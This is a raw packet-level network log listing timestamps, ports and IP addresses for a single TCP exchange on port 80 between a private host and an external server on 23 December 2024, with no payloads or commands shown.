Dec 23, 2024 06:53:39.987155914 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.987265110 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.988117933 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.988229990 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.988257885 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.989041090 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.989072084 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.989150047 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.989975929 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.990005970 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.990092993 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.990391970 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.990921021 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.991054058 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.991882086 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.991974115 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.991983891 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.992064953 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.992791891 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.992901087 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.993041992 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.994004011 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.994016886 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.994352102 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.994699955 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.994808912 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.995031118 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.995624065 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.995765924 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.995915890 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.996551037 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.996654034 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.997488976 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.997600079 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.997601032 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.997750998 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.998449087 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.998570919 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.999387026 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.999511003 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.000318050 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.000345945 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.000493050 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.000642061 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.001251936 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.001357079 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.001682043 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.002219915 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.002301931 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.002430916 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.003132105 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.003232956 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.003576994 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.004122019 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.004195929 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.004265070 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.005014896 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.005101919 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.005367994 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.005958080 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.006056070 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.006171942 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.006908894 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.007013083 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.007833004 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.007927895 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.008646965 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.008785963 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.008841991 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.009669065 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.009696960 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.055675030 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.152468920 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.152563095 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.152923107 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.153057098 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.153085947 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.153599024 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.153887987 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.154025078 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.154671907 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.154807091 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.154932022 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.155690908 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.155772924 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.155874968 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.156640053 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.156723022 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.156837940 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.157582998 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.157613993 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.157712936 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.157799959 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.158567905 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.158655882 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.158842087 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.159533978 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.159710884 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.160101891 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.160487890 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.160501003 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.161273003 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.161401033 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.161498070 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.162255049 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.162332058 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.162492037 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.162575006 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.163286924 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.163384914 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.164206982 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.164232016 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.164261103 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.165159941 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.165185928 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.165309906 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.166074991 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.166100025 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.166198969 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.166948080 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.167025089 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.167171955 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.167254925 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.167972088 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.168035984 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.168904066 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.168931961 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.169040918 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.169543028 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.169838905 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.169951916 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.170649052 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.170794010 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.170903921 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.171658993 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.171725035 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.171808004 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.171885967 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.172673941 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.172821999 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.173595905 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.173624039 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.173692942 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.174272060 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.174577951 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.174597979 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.174832106 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.175503969 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.175643921 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.176383018 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.176413059 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.176521063 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.176604986 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.177345037 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.177452087 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.178292990 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.178320885 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.178420067 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.178904057 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.179244041 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.179363966 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.179683924 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.180170059 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.180282116 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.181113958 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.181189060 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.182051897 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.182080984 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.182147026 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.183001041 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.183029890 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.183094978 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.183345079 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.183927059 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.184037924 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.184875011 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.184928894 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.184978008 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.185846090 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.185875893 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.185892105 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.186737061 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.186753988 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.186850071 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.187705040 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.187736988 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.187793970 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.188625097 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.188663006 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.188740015 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.189578056 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.189609051 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.189686060 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.190500021 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.190534115 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.190602064 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.190812111 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.191463947 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.191823959 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.192400932 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.192442894 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.192473888 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.193337917 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.193376064 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.193418026 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.194267035 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.194298029 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.194370985 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.195087910 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.195197105 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.195337057 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.196134090 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.196167946 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.196254969 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.197072983 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.197103024 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.197175980 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.198055029 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.198096037 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.198139906 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.198951960 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.198981047 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.199048996 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.199368954 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.199883938 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.200030088 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.200839043 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.200870037 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.200937033 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.201725006 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.201756954 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.257900953 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.344779015 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.344824076 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.345139980 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.345201015 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.345273018 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.346025944 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.346051931 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.346136093 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.346653938 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.347043991 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.347157001 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.347271919 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.347939968 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.348047972 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.348901987 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.348957062 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.348967075 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.349836111 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.349885941 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.349936962 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.350526094 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.350795031 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.350903988 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.351346970 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.351705074 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.351790905 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.351887941 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.352646112 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.352766991 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.353585958 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.353621960 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.353662014 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.354505062 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.354535103 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.354598999 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.355086088 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.355509996 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.355577946 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.356350899 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.356448889 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.356494904 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.356580019 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.357331991 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.357445955 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.358262062 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.358289957 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.358385086 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.358859062 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.359230995 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.359359980 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.359975100 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.360157013 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.360260010 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.361108065 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.361140013 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.361181974 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.361270905 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.362040997 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.362132072 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.362804890 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.362965107 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.363084078 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.363898993 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.363924980 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.364042997 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.364537954 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.364844084 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.364950895 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.365752935 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.365811110 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.365900040 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.365984917 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.366728067 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.366852045 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.367692947 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.367722988 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.367731094 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.368621111 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.368658066 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.368720055 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.369265079 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.369550943 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.369664907 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.370479107 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.370481014 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.370567083 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.370655060 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.371444941 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.371567965 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.372358084 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.372385025 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.372467041 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.373310089 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.373337984 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.373397112 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.373905897 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.374231100 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.374305010 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.374660015 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.375143051 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.375410080 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.375495911 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.376116037 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.376223087 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.377059937 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.377090931 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.377178907 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.378048897 CET	80	49758	185.215.113.16	192.168.2.6
